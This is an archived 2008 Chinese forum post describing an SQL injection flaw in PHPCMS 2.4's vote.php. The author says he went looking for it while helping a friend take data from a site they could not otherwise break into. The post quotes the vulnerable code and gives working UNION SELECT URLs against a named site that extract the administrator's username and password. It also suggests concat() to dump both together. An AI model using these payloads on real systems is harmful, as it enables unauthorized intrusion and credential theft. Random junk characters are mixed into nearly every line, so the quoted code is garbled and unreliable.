我爱电脑技术论坛's Archiver

star2008 发表于 2008-6-27 13:48

PHPCMS2.4中一个有趣的洞洞

by  华鸡[D.R.T]
$e6I:m+sv
x9U |.LP8c.M9p&V9i 今天,朋友丢来一个站,说想拿点资料,但搞了很久老搞不下,叫我帮忙看看
V2~0J|7x1Z#F 打开一看发现是phpcms2.4,很旧的版本了~~
.A {;x%Gh] 搞了一下发现存在“上传漏洞”和“远程文件包含漏洞”的页面都被删了,晕,自己挖个把,反正版本旧
[HL*c |G[ 挖了1个多小时,发现vote.php中有这样一段代码: JLec%h
...省略.... `!@QUD!ae_^%i+z.q
case 'result':7{%U0Cj6^-Yw9R5xe
if(!intval($voteid)){
t}u9ARg message('参数错误!',$PHP_REFERER); H:L1EKS(Gt^
}  
!`e4P[`yaOVR6x $query = $db->query("SELECT * FROM $table_vote_subject where voteid='$voteid' and passed=1"); F{4pm L?
$vote=$db->fetch_array($query);
#[f){ iR+h $subject=$vote[subject];r}5LJ7J]B&}x
$totalnumber=$vote[totalnumber];
-q ? g0s9r{)y[9Q $fromdate=date("Y-m-d",$vote[fromtime]);b UR,y r+Mx`/I
$todate=$vote[totime] ? date("Y-m-d",$vote[totime]) : ""; w _PW(Sn
$query = $db->query("SELECT * FROM $table_vote_option where voteid='$voteid'");
_4jg jq'}c"J#h*f0V#B while($op=$db->fetch_array($query)){
B[zMT:h:sI $op[percent1]=$totalnumber ? round(100*$op[number]/$vote[totalnumber],2)."%" : "0%";
mb1c+l$Tg-U P $op[percent2]=$totalnumber ? (100-round(100*$op[number]/$vote[totalnumber],0))."%" : "100%";$P9C7tF:A(` T4{
$ops[]=$op;"p#o\_@'HNQ0U
}
)S7l;[ T)FN&Y!l8e.V!O1h include template('vote_result');#f$E[dUR4?*W$Um
break;
:}Z2h)^h9G }i7KtcWM3U+X q$O
....省略....
fb Y6~8zNlC 代码没问题把?真的吗?再仔细看看!!
2oo6P$k]8DDQ “if(!intval($voteid))” 这句代码的意思是啥?
u!@u!H U5E 如果提交过来的数据是整型并且不存在于数据库中的话,就返回“参数错误”。9G{qGC _$x
那如果我们提交的数据不是整型呢?如果我们提交的数据不是整型,那么不管提交的数据是否存在于数据库中都不会返回“参数错误”的提示了,这样,注入漏洞就产生了~~哈哈8pq+uBr@ U"W f:a![
分别提交+Qq3{8S/rW
“[url]http://www.cndrt.cn/vote.php?action=result&[/url];voteid=8%20and%201=2%20union%20select%201,username,3,4,5,6,7,8,9,10,11,12,13%20from%20phpcms_member%20where%20userid=1/*””zE k+|q g
“[url]http://www.cndrt.cn/vote.php?action=result&[/url];voteid=8%20and%201=2%20union%20select%201,password,3,4,5,6,7,8,9,10,11,12,13%20from%20phpcms_member%20where%20userid=1/*””
T-_#@!j I8i,b 就能查出管理员了
.hvZ#Q+Q?x 当然你也可以用concat()把账号密码同时抓出来~~

页: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.